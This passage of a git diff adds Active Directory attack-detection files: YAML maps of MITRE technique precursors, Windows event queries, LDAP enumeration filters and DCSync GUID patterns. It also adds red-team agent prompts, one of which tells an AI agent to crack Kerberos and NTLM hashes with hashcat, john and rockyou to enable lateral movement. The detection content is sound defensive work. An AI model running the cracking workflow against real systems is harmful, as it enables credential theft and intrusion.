+# DCSync - Domain Credential Dumping
+T1003.006:
+ name: "DCSync"
+ description: "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's replication mechanism."
+
+ precursors:
+ # Reconnaissance typically comes first
+ - technique: "T1087"
+ name: "Account Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.95
+ rationale: "Attackers enumerate accounts to identify high-value targets before DCSync"
+
+ - technique: "T1087.002"
+ name: "Domain Account Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.98
+ rationale: "Domain account enumeration is almost always performed before credential theft"
+
+ - technique: "T1135"
+ name: "Network Share Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.85
+ rationale: "Attackers often enumerate shares looking for credentials or sensitive data"
+
+ - technique: "T1018"
+ name: "Remote System Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.90
+ rationale: "Attackers discover domain controllers and other high-value targets"
+
+ - technique: "T1046"
+ name: "Network Service Scanning"
+ relationship: "usually_precedes"
+ relevance: 0.80
+ rationale: "Port scanning to identify services like LDAP, Kerberos, RPC"
+
+ # Credential Access precursors
+ - technique: "T1110"
+ name: "Brute Force"
+ relationship: "usually_precedes"
+ relevance: 0.85
+ rationale: "Password guessing to obtain initial access credentials"
+
+ - technique: "T1110.003"
+ name: "Password Spraying"
+ relationship: "usually_precedes"
+ relevance: 0.90
+ rationale: "Common technique to avoid lockouts while guessing passwords"
+
+ - technique: "T1039"
+ name: "Data from Network Shared Drive"
+ relationship: "usually_precedes"
+ relevance: 0.80
+ rationale: "Pilfering credentials from SYSVOL/NETLOGON shares"
+
+ - technique: "T1552.006"
+ name: "Group Policy Preferences"
+ relationship: "usually_precedes"
+ relevance: 0.75
+ rationale: "GPP passwords often stored in SYSVOL shares"
+
+ # Privilege Escalation
+ - technique: "T1068"
+ name: "Exploitation for Privilege Escalation"
+ relationship: "sometimes_precedes"
+ relevance: 0.60
+ rationale: "May need elevated privileges to perform DCSync"
+
+ windows_events:
+ - event_id: 4625
+ name: "Failed Logon"
+ relevance: 0.90
+ description: "Look for failed authentication attempts indicating brute force"
+ query_pattern: "EventID=4625"
+
+ - event_id: 4624
+ name: "Successful Logon"
+ relevance: 0.85
+ description: "Track successful logons from suspicious sources"
+ query_pattern: "EventID=4624"
+
+ - event_id: 5140
+ name: "Network Share Access"
+ relevance: 0.85
+ description: "Access to SYSVOL/NETLOGON shares"
+ query_pattern: "EventID=5140 AND (ShareName=*SYSVOL* OR ShareName=*NETLOGON*)"
+
+ - event_id: 5145
+ name: "Network Share Object Access"
+ relevance: 0.80
+ description: "Detailed file access on shares"
+ query_pattern: "EventID=5145"
+
+ - event_id: 4662
+ name: "AD Object Access"
+ relevance: 0.95
+ description: "DCSync replication requests"
+ query_pattern: "EventID=4662 AND Properties=*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
+
+ - event_id: 4768
+ name: "Kerberos TGT Request"
+ relevance: 0.70
+ description: "AS-REQ for initial ticket"
+ query_pattern: "EventID=4768"
+
+ - event_id: 4769
+ name: "Kerberos Service Ticket"
+ relevance: 0.70
+ description: "TGS-REQ for service tickets"
+ query_pattern: "EventID=4769"
+
+ - event_id: 4776
+ name: "NTLM Authentication"
+ relevance: 0.75
+ description: "Credential validation events"
+ query_pattern: "EventID=4776"
+
+ log_patterns:
+ - name: "Failed authentication pattern"
+ pattern: |
+ {job=~".*"} |~ "(?i)(failed|failure|denied|invalid)" |~ "(?i)(login|logon|auth|password)"
+ description: "Detect authentication failures indicating brute force"
+
+ - name: "LDAP enumeration pattern"
+ pattern: |
+ {job=~".*"} |~ "(?i)ldap" |~ "(?i)(query|search|bind)"
+ description: "Detect LDAP queries used for enumeration"
+
+ - name: "Share access pattern"
+ pattern: |
+ {job=~".*"} |~ "(?i)(sysvol|netlogon)" |~ "(?i)(access|connect|read)"
+ description: "Detect access to privileged shares"
+
+ - name: "User enumeration pattern"
+ pattern: |
+ {job=~".*"} |~ "(?i)(samaccountname|userprincipalname|memberof)"
+ description: "Detect AD user attribute queries"
+
+ investigation_questions:
+ - question: "Were there any failed authentication attempts from the source IP in the past 24 hours?"
+ priority: 0.95
+ target_technique: "T1110"
+
+ - question: "Which users were enumerated from the source IP before the DCSync attempt?"
+ priority: 0.95
+ target_technique: "T1087.002"
+
+ - question: "Were SYSVOL or NETLOGON shares accessed from the source IP?"
+ priority: 0.90
+ target_technique: "T1039"
+
+ - question: "What other hosts did the source IP communicate with?"
+ priority: 0.85
+ target_technique: "T1018"
+
+ - question: "Were any credentials found in accessed shares?"
+ priority: 0.90
+ target_technique: "T1552.006"
+
+# Kerberoasting
+T1558.003:
+ name: "Kerberoasting"
+ description: "Adversaries may abuse Kerberos to request service tickets for service accounts."
+
+ precursors:
+ - technique: "T1087.002"
+ name: "Domain Account Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.95
+ rationale: "SPN enumeration to find kerberoastable accounts"
+
+ - technique: "T1069.002"
+ name: "Domain Groups"
+ relationship: "usually_precedes"
+ relevance: 0.85
+ rationale: "Enumerate groups to find privileged service accounts"
+
+ - technique: "T1018"
+ name: "Remote System Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.80
+ rationale: "Identify domain controllers and services"
+
+ windows_events:
+ - event_id: 4769
+ name: "Kerberos Service Ticket Request"
+ relevance: 0.95
+ description: "TGS requests with RC4 encryption indicate Kerberoasting"
+ query_pattern: "EventID=4769 AND TicketEncryptionType=0x17"
+
+ - event_id: 4625
+ name: "Failed Logon"
+ relevance: 0.80
+ description: "Failed auth before Kerberoasting"
+ query_pattern: "EventID=4625"
+
+ investigation_questions:
+ - question: "Were there bulk TGS requests from the source for service accounts?"
+ priority: 0.95
+ target_technique: "T1558.003"
+
+ - question: "Were SPNs enumerated before the Kerberoasting attempt?"
+ priority: 0.90
+ target_technique: "T1087.002"
+
+# AS-REP Roasting
+T1558.004:
+ name: "AS-REP Roasting"
+ description: "Adversaries may obtain hashes for accounts without Kerberos pre-authentication."
+
+ precursors:
+ - technique: "T1087.002"
+ name: "Domain Account Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.95
+ rationale: "Enumerate accounts without pre-auth required"
+
+ windows_events:
+ - event_id: 4768
+ name: "Kerberos TGT Request"
+ relevance: 0.95
+ description: "AS-REQ without pre-auth"
+ query_pattern: "EventID=4768 AND PreAuthType=0"
+
+# Pass the Hash
+T1550.002:
+ name: "Pass the Hash"
+ description: "Adversaries may use stolen password hashes to authenticate."
+
+ precursors:
+ - technique: "T1003"
+ name: "OS Credential Dumping"
+ relationship: "usually_precedes"
+ relevance: 0.95
+ rationale: "Must obtain hashes before passing them"
+
+ - technique: "T1003.001"
+ name: "LSASS Memory"
+ relationship: "usually_precedes"
+ relevance: 0.90
+ rationale: "Common source of NTLM hashes"
+
+ windows_events:
+ - event_id: 4624
+ name: "Successful Logon"
+ relevance: 0.90
+ description: "Type 9 (NewCredentials) logon with NTLM"
+ query_pattern: "EventID=4624 AND LogonType=9 AND AuthenticationPackageName=NTLM"
+
+ - event_id: 4648
+ name: "Explicit Credential Logon"
+ relevance: 0.85
+ description: "Logon with alternate credentials"
+ query_pattern: "EventID=4648"
+
+# Golden Ticket
+T1558.001:
+ name: "Golden Ticket"
+ description: "Adversaries may forge Kerberos TGTs to gain persistent access."
+
+ precursors:
+ - technique: "T1003.006"
+ name: "DCSync"
+ relationship: "usually_precedes"
+ relevance: 0.95
+ rationale: "Need krbtgt hash to forge golden ticket"
+
+ - technique: "T1003"
+ name: "OS Credential Dumping"
+ relationship: "usually_precedes"
+ relevance: 0.90
+ rationale: "Need to extract krbtgt hash"
+
+ windows_events:
+ - event_id: 4768
+ name: "Kerberos TGT Request"
+ relevance: 0.90
+ description: "TGT with suspicious lifetime or SID"
+ query_pattern: "EventID=4768"
+
+ - event_id: 4769
+ name: "Kerberos Service Ticket"
+ relevance: 0.85
+ description: "Service ticket from forged TGT"
+ query_pattern: "EventID=4769"
+
+# Brute Force
+T1110:
+ name: "Brute Force"
+ description: "Adversaries may use brute force to obtain account credentials."
+
+ follow_on:
+ - technique: "T1078"
+ name: "Valid Accounts"
+ relationship: "usually_follows"
+ relevance: 0.95
+ rationale: "Successful brute force leads to valid credential usage"
+
+ - technique: "T1021"
+ name: "Remote Services"
+ relationship: "usually_follows"
+ relevance: 0.90
+ rationale: "Use compromised credentials for lateral movement"
+
+ windows_events:
+ - event_id: 4625
+ name: "Failed Logon"
+ relevance: 0.98
+ description: "Multiple failures indicate brute force"
+ query_pattern: "EventID=4625"
+ threshold: "10+ failures from same source in 10 minutes"
+
+ - event_id: 4771
+ name: "Kerberos Pre-Auth Failure"
+ relevance: 0.90
+ description: "Kerberos authentication failures"
+ query_pattern: "EventID=4771"
+
+ detection_patterns:
+ password_spray:
+ description: "Multiple accounts, same password, short timeframe"
+ pattern: "Count distinct TargetUserName > 5 within 10 minutes from same source"
+
+ credential_stuffing:
+ description: "Same username, multiple passwords, short timeframe"
+ pattern: "Count EventID=4625 where TargetUserName=X > 10 within 5 minutes"
+
+# Password Spraying (sub-technique)
+T1110.003:
+ name: "Password Spraying"
+ description: "Adversaries may try one password against many accounts."
+
+ windows_events:
+ - event_id: 4625
+ name: "Failed Logon"
+ relevance: 0.98
+ description: "Many accounts, few failures per account"
+ query_pattern: "EventID=4625"
+ detection_logic: |
+ - Multiple target accounts (>5)
+ - Few failures per account (1-3)
+ - Same source IP or workstation
+ - Short time window (<30 minutes)
+
+ investigation_questions:
+ - question: "Were the same password(s) tried against multiple accounts?"
+ priority: 0.95
+
+ - question: "Did any of the sprayed accounts succeed in authentication?"
+ priority: 0.95
+
+# Network Share Discovery
+T1135:
+ name: "Network Share Discovery"
+ description: "Adversaries may look for shared folders on remote systems."
+
+ follow_on:
+ - technique: "T1039"
+ name: "Data from Network Shared Drive"
+ relationship: "usually_follows"
+ relevance: 0.90
+ rationale: "After discovering shares, attackers access them"
+
+ - technique: "T1552.006"
+ name: "Group Policy Preferences"
+ relationship: "sometimes_follows"
+ relevance: 0.75
+ rationale: "May look for GPP passwords in SYSVOL"
+
+ windows_events:
+ - event_id: 5140
+ name: "Network Share Access"
+ relevance: 0.90
+ description: "Share enumeration via SMB"
+ query_pattern: "EventID=5140"
+
+ - event_id: 5145
+ name: "Detailed Share Access"
+ relevance: 0.85
+ description: "File-level share access audit"
+ query_pattern: "EventID=5145"
+
+# Account Discovery
+T1087:
+ name: "Account Discovery"
+ description: "Adversaries may attempt to get a listing of accounts on a system."
+
+ follow_on:
+ - technique: "T1110"
+ name: "Brute Force"
+ relationship: "usually_follows"
+ relevance: 0.85
+ rationale: "Use discovered accounts for credential attacks"
+
+ - technique: "T1078"
+ name: "Valid Accounts"
+ relationship: "sometimes_follows"
+ relevance: 0.70
+ rationale: "Target discovered privileged accounts"
+
+ windows_events:
+ - event_id: 4661
+ name: "SAM Handle Request"
+ relevance: 0.80
+ description: "Direct SAM database access"
+ query_pattern: "EventID=4661"
+
+ - event_id: 4662
+ name: "AD Object Access"
+ relevance: 0.85
+ description: "LDAP queries for user objects"
+ query_pattern: "EventID=4662 AND ObjectType=*User*"
+
+# Domain Account Discovery (sub-technique)
+T1087.002:
+ name: "Domain Account Discovery"
+ description: "Adversaries may enumerate domain accounts."
+
+ windows_events:
+ - event_id: 4662
+ name: "AD Object Access"
+ relevance: 0.90
+ description: "LDAP enumeration of domain accounts"
+ query_pattern: "EventID=4662"
+
+ log_patterns:
+ - name: "LDAP user query"
+ pattern: |
+ {job=~".*"} |~ "(?i)(&(objectClass=user)|(objectCategory=person))"
+ description: "LDAP filter for user enumeration"
+
+ - name: "Net user domain commands"
+ pattern: |
+ {job=~".*"} |~ "net.*user.*/domain"
+ description: "net user /domain command execution"
+
+# Remote System Discovery
+T1018:
+ name: "Remote System Discovery"
+ description: "Adversaries may attempt to get a listing of systems within a network."
+
+ follow_on:
+ - technique: "T1021"
+ name: "Remote Services"
+ relationship: "usually_follows"
+ relevance: 0.85
+ rationale: "Use discovered systems for lateral movement"
+
+ - technique: "T1046"
+ name: "Network Service Scanning"
+ relationship: "sometimes_precedes"
+ relevance: 0.75
+ rationale: "Detailed service enumeration of discovered hosts"
+
+ log_patterns:
+ - name: "DNS queries for AD records"
+ pattern: |
+ {job=~".*"} |~ "(?i)(_ldap|_kerberos|_gc).*_tcp"
+ description: "SRV record queries for AD services"
+
+ - name: "Ping sweeps"
+ pattern: |
+ {job=~".*"} |~ "(?i)icmp" |~ "(?i)(request|reply)"
+ description: "ICMP ping sweep activity"
+
+# Lateral Movement - Remote Services
+T1021:
+ name: "Remote Services"
+ description: "Adversaries may use remote services to move laterally."
+
+ precursors:
+ - technique: "T1078"
+ name: "Valid Accounts"
+ relationship: "usually_precedes"
+ relevance: 0.95
+ rationale: "Need credentials to use remote services"
+
+ - technique: "T1018"
+ name: "Remote System Discovery"
+ relationship: "usually_precedes"
+ relevance: 0.85
+ rationale: "Need to identify target systems"
+
+ windows_events:
+ - event_id: 4624
+ name: "Successful Logon"
+ relevance: 0.85
+ description: "Type 3 (Network) or Type 10 (RemoteInteractive) logons"
+ query_pattern: "EventID=4624 AND (LogonType=3 OR LogonType=10)"
+
+ - event_id: 4648
+ name: "Explicit Credential Logon"
+ relevance: 0.80
+ description: "Remote authentication with explicit credentials"
+ query_pattern: "EventID=4648"
diff --git a/templates/engines/detection_recipes.yaml b/templates/engines/detection_recipes.yaml
new file mode 100644
index 00000000..7f189ad2
--- /dev/null
+++ b/templates/engines/detection_recipes.yaml
@@ -0,0 +1,527 @@
+---
+# Detection Recipes for Windows Security Events
+# These recipes define specific patterns for detecting attack techniques
+# in Windows Security Event logs
+
+# ---
+# Password Spray Detection Recipe
+password_spray:
+ name: "Password Spray Attack Detection"
+ description: |
+ Detects password spray attacks where an attacker tries the same password
+ against multiple accounts to avoid account lockouts.
+
+ mitre_technique: "T1110.003"
+
+ indicators:
+ - "Multiple distinct target accounts (5+) with authentication failures"
+ - "Same source IP or workstation"
+ - "Short time window (< 30 minutes)"
+ - "Low failures per account (1-3)"
+
+ windows_events:
+ primary:
+ - event_id: 4625
+ fields:
+ - TargetUserName
+ - TargetDomainName
+ - IpAddress
+ - WorkstationName
+ - FailureReason
+ - SubStatus
+ detection_logic: |
+ COUNT(DISTINCT TargetUserName) > 5
+ WHERE TimeGenerated within 30 minutes
+ GROUP BY IpAddress
+
+ supporting:
+ - event_id: 4771
+ description: "Kerberos pre-auth failures"
+ - event_id: 4776
+ description: "NTLM credential validation failures"
+
+ logql_queries:
+ # Query 1: Find authentication failures grouped by source
+ - name: "Find spray source IPs"
+ query: |
+ {job=~".*"} |~ "(?i)(4625|4771|4776)" |~ "(?i)(failure|failed)"
+ limit: 100
+ direction: "backward"
+
+ # Query 2: Look for patterns
+ - name: "Multiple accounts from same source"
+ query: |
+ {job=~".*"} |= "4625" | json | __error__="" | line_format "{{.IpAddress}} {{.TargetUserName}}"
+ post_processing: "Count distinct usernames per IP"
+
+ investigation_steps:
+ 1: "Identify source IPs with multiple failed authentications"
+ 2: "List all target accounts from each source IP"
+ 3: "Check if any sprayed accounts subsequently authenticated successfully"
+ 4: "Identify the time window and pattern (same password indicator)"
+ 5: "Document all affected accounts for password reset"
+
+ severity_thresholds:
+ low: "5-10 accounts targeted"
+ medium: "10-50 accounts targeted"
+ high: "50+ accounts targeted or privileged accounts targeted"
+
+# ---
+# Credential Stuffing Detection
+credential_stuffing:
+ name: "Credential Stuffing Detection"
+ description: |
+ Detects attempts to use leaked credentials against multiple accounts.
+ Different from password spray as it uses known credential pairs.
+
+ mitre_technique: "T1110.004"
+
+ windows_events:
+ primary:
+ - event_id: 4625
+ detection_logic: |
+ Same TargetUserName with many different failure codes
+ Rapid succession of attempts
+
+ logql_queries:
+ - name: "Rapid auth failures"
+ query: |
+ {job=~".*"} |= "4625" | json | count_over_time({job=~".*"} |= "4625"[5m]) > 10
+
+# ---
+# Share Access Enumeration Detection
+share_enumeration:
+ name: "Network Share Enumeration Detection"
+ description: |
+ Detects enumeration of network shares, particularly SYSVOL and NETLOGON
+ which may contain credentials or sensitive configurations.
+
+ mitre_technique: "T1135"
+
+ indicators:
+ - "Access to multiple shares from single source"
+ - "Access to SYSVOL or NETLOGON shares"
+ - "Access from non-administrative accounts"
+ - "Unusual access times"
+
+ windows_events:
+ primary:
+ - event_id: 5140
+ description: "Network share was accessed"
+ fields:
+ - SubjectUserName
+ - SubjectDomainName
+ - IpAddress
+ - ShareName
+ - ShareLocalPath
+ key_shares:
+ - "SYSVOL"
+ - "NETLOGON"
+ - "ADMIN$"
+ - "C$"
+ - "IPC$"
+
+ - event_id: 5145
+ description: "Network share object was checked for access"
+ fields:
+ - SubjectUserName
+ - IpAddress
+ - ShareName
+ - RelativeTargetName
+ - AccessMask
+
+ logql_queries:
+ - name: "SYSVOL access"
+ query: |
+ {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)sysvol"
+
+ - name: "NETLOGON access"
+ query: |
+ {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)netlogon"
+
+ - name: "Admin share access"
+ query: |
+ {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)(admin\\$|c\\$)"
+
+ investigation_steps:
+ 1: "Identify all shares accessed by the source IP/user"
+ 2: "Check if SYSVOL or NETLOGON were accessed"
+ 3: "List files accessed within those shares"
+ 4: "Identify if any scripts or policies were read"
+ 5: "Check for GPP password files (Groups.xml, etc.)"
+
+# ---
+# LDAP Enumeration Detection
+ldap_enumeration:
+ name: "LDAP/Active Directory Enumeration Detection"
+ description: |
+ Detects LDAP queries used for enumerating AD objects including
+ users, groups, computers, and domain trusts.
+
+ mitre_techniques:
+ - "T1087.002" # Domain Account Discovery
+ - "T1069.002" # Domain Groups
+ - "T1482" # Domain Trust Discovery
+
+ indicators:
+ - "Bulk LDAP queries from single source"
+ - "Queries for all users/computers/groups"
+ - "Queries for sensitive attributes (adminCount, servicePrincipalName)"
+ - "Unusual query source (not a management server)"
+
+ windows_events:
+ primary:
+ - event_id: 4662
+ description: "Operation performed on AD object"
+ fields:
+ - SubjectUserName
+ - ObjectType
+ - ObjectName
+ - OperationType
+ - Properties
+
+ - event_id: 4661
+ description: "Handle to object requested"
+ fields:
+ - SubjectUserName
+ - ObjectType
+ - ObjectName
+
+ suspicious_ldap_filters:
+ user_enum:
+ - "(objectClass=user)"
+ - "(objectCategory=person)"
+ - "(samAccountType=805306368)"
+ computer_enum:
+ - "(objectClass=computer)"
+ - "(objectCategory=computer)"
+ group_enum:
+ - "(objectClass=group)"
+ - "(objectCategory=group)"
+ spn_enum:
+ - "(servicePrincipalName=*)"
+ admin_enum:
+ - "(adminCount=1)"
+ - "(memberOf=*Admins*)"
+ asrep_roast:
+ - "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
+
+ logql_queries:
+ - name: "User enumeration queries"
+ query: |
+ {job=~".*"} |~ "(?i)(objectclass=user|objectcategory=person)"
+
+ - name: "SPN enumeration (Kerberoasting recon)"
+ query: |
+ {job=~".*"} |~ "(?i)serviceprincipalname"
+
+ - name: "Admin account enumeration"
+ query: |
+ {job=~".*"} |~ "(?i)(admincount|admin.*member)"
+
+# ---
+# Kerberos Attack Detection
+kerberos_attacks:
+ name: "Kerberos-based Attack Detection"
+ description: |
+ Detects various Kerberos-based attacks including Kerberoasting,
+ AS-REP roasting, Golden/Silver ticket usage, and pass-the-ticket.
+
+ sub_patterns:
+ kerberoasting:
+ mitre_technique: "T1558.003"
+ indicators:
+ - "TGS requests for service accounts"
+ - "RC4 encryption requested (0x17)"
+ - "Bulk TGS requests in short time"
+
+ windows_events:
+ - event_id: 4769
+ fields:
+ - TargetUserName
+ - ServiceName
+ - TicketEncryptionType
+ - IpAddress
+ detection_logic: |
+ TicketEncryptionType = 0x17 (RC4)
+ AND COUNT(*) > 5 within 1 hour
+ FROM same IpAddress
+
+ logql_queries:
+ - name: "RC4 TGS requests"
+ query: |
+ {job=~".*"} |= "4769" |~ "(?i)(0x17|RC4)"
+
+ asrep_roasting:
+ mitre_technique: "T1558.004"
+ indicators:
+ - "AS-REQ without pre-authentication"
+ - "Targeting accounts with DONT_REQ_PREAUTH"
+
+ windows_events:
+ - event_id: 4768
+ fields:
+ - TargetUserName
+ - PreAuthType
+ - IpAddress
+ detection_logic: |
+ PreAuthType = 0 (no pre-auth)
+
+ logql_queries:
+ - name: "AS-REQ without pre-auth"
+ query: |
+ {job=~".*"} |= "4768" |~ "(?i)preauth.*0"
+
+ golden_ticket:
+ mitre_technique: "T1558.001"
+ indicators:
+ - "TGT with unusual lifetime"
+ - "TGT with forged SID"
+ - "Account logon from impossible location"
+
+ windows_events:
+ - event_id: 4768
+ - event_id: 4769
+ - event_id: 4624
+
+# ---
+# DCSync Detection
+dcsync:
+ name: "DCSync Attack Detection"
+ description: |
+ Detects DCSync attacks where an attacker mimics a domain controller
+ to request password data via replication.
+
+ mitre_technique: "T1003.006"
+
+ indicators:
+ - "Replication request from non-DC"
+ - "DS-Replication-Get-Changes-All permission usage"
+ - "Directory service access from unusual source"
+
+ windows_events:
+ primary:
+ - event_id: 4662
+ description: "AD object accessed with replication rights"
+ fields:
+ - SubjectUserName
+ - SubjectDomainName
+ - ObjectType
+ - Properties
+ detection_logic: |
+ Properties contains:
+ - 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes)
+ - 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All)
+ - 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set)
+ AND source is NOT a known Domain Controller
+
+ - event_id: 4624
+ description: "Logon before DCSync"
+ fields:
+ - TargetUserName
+ - IpAddress
+ - LogonType
+
+ logql_queries:
+ - name: "DCSync replication GUIDs"
+ query: |
+ {job=~".*"} |= "4662" |~ "(?i)(1131f6aa|1131f6ad|89e95b76)"
+
+ - name: "Directory service access"
+ query: |
+ {job=~".*"} |~ "(?i)directory.*service.*access"
+
+ investigation_steps:
+ 1: "Identify the source account and IP of the DCSync"
+ 2: "Verify if the source is a legitimate Domain Controller"
+ 3: "Check what accounts were replicated"
+ 4: "Look for precursor reconnaissance (LDAP enumeration)"
+ 5: "Check for authentication attempts before DCSync"
+ 6: "Identify all compromised accounts that need password resets"
+
+# ---
+# Pass the Hash Detection
+pass_the_hash:
+ name: "Pass-the-Hash Attack Detection"
+ description: |
+ Detects attempts to authenticate using NTLM hashes instead of plaintext passwords.
+
+ mitre_technique: "T1550.002"
+
+ indicators:
+ - "NTLM authentication with Type 9 (NewCredentials) logon"
+ - "NTLM auth from unusual source"
+ - "Same hash used from multiple locations"
+
+ windows_events:
+ primary:
+ - event_id: 4624
+ fields:
+ - LogonType
+ - AuthenticationPackageName
+ - TargetUserName
+ - IpAddress
+ - WorkstationName
+ detection_logic: |
+ LogonType = 9 (NewCredentials)
+ AND AuthenticationPackageName = NTLM
+
+ - event_id: 4648
+ description: "Explicit credential logon"
+ fields:
+ - TargetUserName
+ - TargetServerName
+ - IpAddress
+
+ logql_queries:
+ - name: "NTLM NewCredentials logon"
+ query: |
+ {job=~".*"} |= "4624" |~ "(?i)logontype.*9" |~ "(?i)ntlm"
+
+ - name: "Explicit credential usage"
+ query: |
+ {job=~".*"} |= "4648"
+
+# ---
+# Service Enumeration Detection
+service_enumeration:
+ name: "Network Service Scanning/Enumeration Detection"
+ description: |
+ Detects port scanning and service enumeration activities.
+
+ mitre_technique: "T1046"
+
+ indicators:
+ - "Connection attempts to multiple ports on same host"
+ - "Connection attempts to same port on multiple hosts"
+ - "Rapid connection attempts"
+ - "Connections to sensitive services (LDAP, Kerberos, RPC)"
+
+ sensitive_ports:
+ - port: 389
+ service: "LDAP"
+ - port: 636
+ service: "LDAPS"
+ - port: 88
+ service: "Kerberos"
+ - port: 135
+ service: "RPC"
+ - port: 445
+ service: "SMB"
+ - port: 3389
+ service: "RDP"
+ - port: 5985
+ service: "WinRM HTTP"
+ - port: 5986
+ service: "WinRM HTTPS"
+ - port: 22
+ service: "SSH"
+ - port: 53
+ service: "DNS"
+
+ logql_queries:
+ - name: "Connection to AD services"
+ query: |
+ {job=~".*"} |~ "(?i)(389|636|88|135|445)" |~ "(?i)(connect|syn|established)"
+
+ - name: "RDP connection attempts"
+ query: |
+ {job=~".*"} |~ "(?i)3389" |~ "(?i)(connect|accept)"
+
+# ---
+# Privileged Account Usage Detection
+privileged_account_usage:
+ name: "Privileged Account Usage Detection"
+ description: |
+ Monitors usage of privileged accounts for anomalous behavior.
+
+ indicators:
+ - "Privileged account logon from unusual location"
+ - "Privileged account used outside business hours"
+ - "Multiple privileged accounts from same source"
+
+ windows_events:
+ primary:
+ - event_id: 4672
+ description: "Special privileges assigned to new logon"
+ fields:
+ - SubjectUserName
+ - SubjectDomainName
+ - PrivilegeList
+
+ - event_id: 4624
+ description: "Successful logon"
+
+ logql_queries:
+ - name: "Special privilege assignment"
+ query: |
+ {job=~".*"} |= "4672"
+
+ - name: "Admin account logons"
+ query: |
+ {job=~".*"} |= "4624" |~ "(?i)(admin|administrator|domain.*admin)"
+
+# ---
+# Investigation Query Templates
+# Ready-to-use queries for the blue team agent
+
+query_templates:
+ # Authentication investigation
+ auth_failures_by_source:
+ description: "Get all auth failures from a specific IP"
+ query: |
+ {job=~".*"} |= "4625" |~ "IpAddress.*{source_ip}"
+
+ auth_failures_by_user:
+ description: "Get all auth failures for a specific user"
+ query: |
+ {job=~".*"} |= "4625" |~ "TargetUserName.*{username}"
+
+ successful_auth_after_failures:
+ description: "Check if failed auth was followed by success"
+ query: |
+ {job=~".*"} |= "4624" |~ "TargetUserName.*{username}"
+
+ # Share investigation
+ share_access_by_source:
+ description: "Get all share access from a specific IP"
+ query: |
+ {job=~".*"} |~ "(?i)(5140|5145)" |~ "{source_ip}"
+
+ sysvol_netlogon_access:
+ description: "Get SYSVOL/NETLOGON access"
+ query: |
+ {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)(sysvol|netlogon)"
+
+ # Enumeration investigation
+ ldap_queries_by_source:
+ description: "Get LDAP activity from a specific IP"
+ query: |
+ {job=~".*"} |~ "(?i)ldap" |~ "{source_ip}"
+
+ user_enumeration_activity:
+ description: "Detect user enumeration"
+ query: |
+ {job=~".*"} |~ "(?i)(objectclass=user|net.*user|samaccountname)"
+
+ # Kerberos investigation
+ kerberos_activity_by_user:
+ description: "Get all Kerberos activity for a user"
+ query: |
+ {job=~".*"} |~ "(?i)(4768|4769|4770|4771)" |~ "{username}"
+
+ tgs_requests_by_source:
+ description: "Get TGS requests from source"
+ query: |
+ {job=~".*"} |= "4769" |~ "{source_ip}"
+
+ # Lateral movement investigation
+ remote_logons_by_user:
+ description: "Get remote logons for a user"
+ query: |
+ {job=~".*"} |= "4624" |~ "(?i)(logontype.*(3|10))" |~ "{username}"
+
+ explicit_cred_usage:
+ description: "Get explicit credential usage"
+ query: |
+ {job=~".*"} |= "4648" |~ "{username}"
diff --git a/templates/engines/mitre_precursor.md.jinja b/templates/engines/mitre_precursor.md.jinja
new file mode 100644
index 00000000..abe08b89
--- /dev/null
+++ b/templates/engines/mitre_precursor.md.jinja
@@ -0,0 +1,9 @@
+PRECURSOR INVESTIGATION: We detected {{ detected_technique_id }} ({{ detected_technique_name }}). Before this attack, attackers typically perform {{ precursor_technique_id }} ({{ precursor_technique_name }}). {{ rationale }}
+
+INVESTIGATE: Look for {{ precursor_technique_name }} activity in the time window BEFORE the detected technique.
+{% if windows_events %}
+KEY WINDOWS EVENTS: {{ windows_events }}
+{% endif %}
+{% if log_patterns %}
+SUGGESTED LOG PATTERNS: {{ log_patterns }}
+{% endif %}
diff --git a/templates/redteam/agents/cracker_instructions.md.jinja b/templates/redteam/agents/cracker_instructions.md.jinja
new file mode 100644
index 00000000..9be5cb0d
--- /dev/null
+++ b/templates/redteam/agents/cracker_instructions.md.jinja
@@ -0,0 +1,39 @@
+# Password Cracking Agent
+
+You are a specialized password cracking agent designed to crack discovered hashes in authorized Active Directory penetration testing environments.
+
+## CORE MISSION
+
+Your primary goal is to rapidly crack password hashes to provide new credentials for continued enumeration and lateral movement. **Speed is critical** - other agents are waiting for these credentials.
+
+## HASH TYPES YOU'LL ENCOUNTER
+
+- **Kerberos AS-REP hashes** ($krb5asrep$) - Use hashcat -m 18200 or john --format=krb5asrep
+- **Kerberos TGS hashes** ($krb5tgs$) - Use hashcat -m 13100 or john --format=krb5tgs
+- **NTLM hashes** - Use hashcat -m 1000 or john --format=ntlm
+- **Other Windows hashes** as discovered
+
+## CRACKING WORKFLOW
+
+1. **IDENTIFY** hash type from the hash string format
+2. **Try hashcat FIRST** with appropriate mode (-m parameter)
+3. **If hashcat fails or times out**, try john the ripper with correct format
+4. **Use /usr/share/wordlists/rockyou.txt** as primary wordlist
+5. **Limit initial attempts to 5-10 minutes** for speed
+6. **IMMEDIATELY report any successful cracks** - don't wait
+
+## CRITICAL SUCCESS BEHAVIORS
+
+- When you crack a password, **IMMEDIATELY report it** with username and password
+- Extract the username from the hash string when reporting
+- Include domain information if present in the hash
+- Report both successful cracks AND failures quickly
+
+## EFFICIENCY REQUIREMENTS
+
+- Prioritize speed over exhaustive cracking
+- Focus on common/weak passwords that crack quickly
+- Don't spend excessive time on difficult hashes
+- Report failures after reasonable attempt so other agents can continue
+
+**Remember**: Other agents depend on your speed. Quick credential discovery enables continued enumeration and privilege escalation.
diff --git a/templates/redteam/agents/cracker_task.md.jinja b/templates/redteam/agents/cracker_task.md.jinja
new file mode 100644
index 00000000..c5d073e9
--- /dev/null
+++ b/templates/redteam/agents/cracker_task.md.jinja
@@ -0,0 +1,9 @@
+# Password Cracking Task
+
+Attempt to crack the following hash:
+
